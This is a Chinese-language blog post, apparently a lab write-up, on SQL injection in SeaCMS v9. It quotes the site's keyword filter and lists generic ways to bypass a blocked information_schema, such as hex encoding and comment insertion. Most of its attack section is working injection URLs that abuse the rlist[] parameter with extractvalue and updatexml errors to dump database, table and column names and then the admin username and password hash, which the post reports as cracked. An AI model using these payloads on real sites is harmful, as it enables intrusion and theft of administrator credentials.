seacms v9 实现的MySQL注入

目录

[过滤关键词information_schema 怎么办](#过滤关键词information_schema 怎么办)

一、环境搭建

二、环境分析

三、源代码分析

1、过滤程序

2、注入点

四、获取数据库名

五、获取数据库表名

六、获取表的列名

七、获取数据信息


过滤关键词information_schema 怎么办

1.、利用sys数据库(MySQL 5.7+) sys库是MySQL官方提供的系统监控数据库,可能未被过滤。

例:查询表名和列名

SELECT table_name FROM sys.schema_table_statistics; SELECT column_name FROM sys.schema_columns WHERE table_name='users';

2、 利用mysql系统库 mysql库存储用户权限信息,部分表可能包含元数据。

例:通过innodb_table_stats和innodb_index_stats获取表名

SELECT table_name FROM mysql.innodb_table_stats;

3.、编码混淆

十六进制编码:information_schema → 0x696E666F726D6174696F6E5F736368656D61

SELECT * FROM 0x696E666F726D6174696F6E5F736368656D61.tables;

Unicode编码:i → CHAR(105)

4、 字符串拼接 使用CONCAT()或SUBSTR()绕过简单过滤

SELECT * FROM CONCAT('inform', 'ation_schema').tables;

5、. 注释符干扰 插入注释分隔符:/**/或/*!*/

SELECT * FROM infor/*!mation_schema*/.tables;

一、环境搭建

二、环境分析

在海洋cms V9 中,用户输入(如登录、评论、分页、ID 等)未经过适当的验证和清理,直接嵌入到 SQL 查询中,导致了 SQL 注入攻击的发生。

三、源代码分析

1、过滤程序

整个模式由三部分组成:前面是一个否定字符组`[^0-9a-z@\._-]{1,}`,中间是关键字组`(union|sleep|...)`,后面又是同样的否定字符组。这个结构可能是在匹配那些被非允许字符包围的关键字,比如`union`前后有特殊符号的情况。

[^0-9a-z@\._-]{1,} # 第一部分:匹配非允许字符的连续序列

(union|sleep|benchmark|load_file|outfile) # 第二部分:匹配危险SQL关键词

[^0-9a-z@\.-]{1,} # 第三部分:再次匹配非允许字符的连续序列

2、注入点

参数rlist[]被用作数组传递,可能在后端代码中被直接拼接到SQL查询中,没有进行充分的过滤或参数化处理,导致注入发生。

php 复制代码
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";

四、获取数据库名

php 复制代码
?gid=1&page=2&rlist[]=@`%27`,extractvalue(1,concat_ws(0x20,%200x5c,(select%20database()))),@`%27`

gid=1:ID(数值型)。

page=2:分页参数。

extractvalue():MySQL XML处理函数,用于触发错误。

concat_ws():用分隔符连接字符串,0x20是空格,0x5c是反斜杠\。

select database():获取当前数据库用户。

攻击者访问构造的URL,服务器处理rlist[]参数。 后端代码将rlist[]值拼接到IN子句: 执行时因非法XPath语法报错,错误信息包含数据库用户

五、获取数据库表名

当sea_comment表中无数据时不会回显报错

添加数据后成功回显

php 复制代码
?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0atable_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=0x736561636d73%20limit%200,1))),%20@`%27`

六、获取表的列名

php 复制代码
?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0acolumn_name%20from%23%0ainformation_schema.columns%20where%20table_schema%20=0x736561636d73%20and%20table_name=0x7365615f61646d696e%20limit%201,1))),%20@`%27`
php 复制代码
?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0acolumn_name%20from%23%0ainformation_schema.columns%20where%20table_schema%20=0x736561636d73%20and%20table_name=0x7365615f61646d696e%20limit%202,1))),%20@`%27`

七、获取数据信息

php 复制代码
?gid=1&page=2&type=1&rlist[]=@`%27`,updatexml%20(1,concat_ws(0x7e,0x7e,(select%20name%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`
php 复制代码
?gid=1&page=2&type=1&rlist[]=@`%27`,updatexml%20(1,concat_ws(0x7e,0x7e,(select%20password%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`

由于password进行的md5加密,将注入结果(f297a57a5a743894a0e4)进行解密后得到admin

相关推荐
Quz5 分钟前
SQLite 安装教程以及可视化工具介绍
数据库·sqlite
汤汤upup11 分钟前
面试八股文--数据库基础知识总结(1)
数据库·sql·oracle
灰色人生qwer13 分钟前
数据库的常见权限作用
数据库·oracle
Lizhihao_30 分钟前
JAVA-如何理解Mysql的索引
数据库·mysql
stanwang1 小时前
为什么非唯一索引会触发间隙锁?
数据库
梦醒沉醉1 小时前
HBase与MapReduce结合(一)——HBase表中插入数据
数据库·hbase·mapreduce
土豆炒马铃薯。2 小时前
彻底卸载MySQL
java·开发语言·前端·数据库·mysql·删除·数据
攻城狮_Dream2 小时前
基于 Python 的项目管理系统开发
android·数据库·python
昨今3 小时前
学习Flask:[特殊字符] Day 3:数据库集成
数据库·学习·flask